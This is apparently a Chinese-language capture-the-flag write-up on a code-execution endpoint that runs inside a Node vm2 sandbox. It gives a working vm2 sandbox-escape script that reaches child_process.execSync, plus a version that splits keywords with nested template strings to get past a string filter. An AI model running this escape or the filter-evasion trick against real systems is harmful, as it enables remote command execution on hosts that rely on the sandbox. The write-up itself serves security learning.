screenshot

/run.php存在命令执行点,根据提示判断后台执行代码可能并不是php;用每种语言产生异常的代码进行fuzz使其抛出异常

👇Node执行报错的代码

/run.php?code=Error().stack

发现后端为Node,得到组件等敏感信息;了解到其运行在VM2沙箱中

screenshot 1

在github的vm2 issue中寻找近期出现的沙箱逃逸脚本

screenshot 2

通过console.log输出untrusted

screenshot 3

(function(){
    TypeError.prototype.get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
})()

screenshot 4

根据回显猜测存在对字符串的过滤

❗️当对象的方法或者属性名关键字被过滤的情况下可以利用数组调用的方式绕过关键字的限制

screenshot 5

除了使用数组调用的方式还可以使用**模板字符串**嵌套来拼接想要的被过滤的字符串

console.log(`${`${`prototyp`}e`}`)
console.log(`${`prototype`}`)
↓
prototype

修改沙箱逃逸脚本并传入参数

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function (){
    TypeError[`${`prototyp`}e`][`${`get_proces`}s`] = f=>f[`${`constructo`}r`](`return this.${`proces`}s`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`get_proces`}s`](()=>{}).mainModule[`${`requir`}e`](`${`child_proces`}s`)[`${`exe`}cSync`](`whoami`).toString();
    }
}+')()';
console.log(untrusted)
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

screenshot 6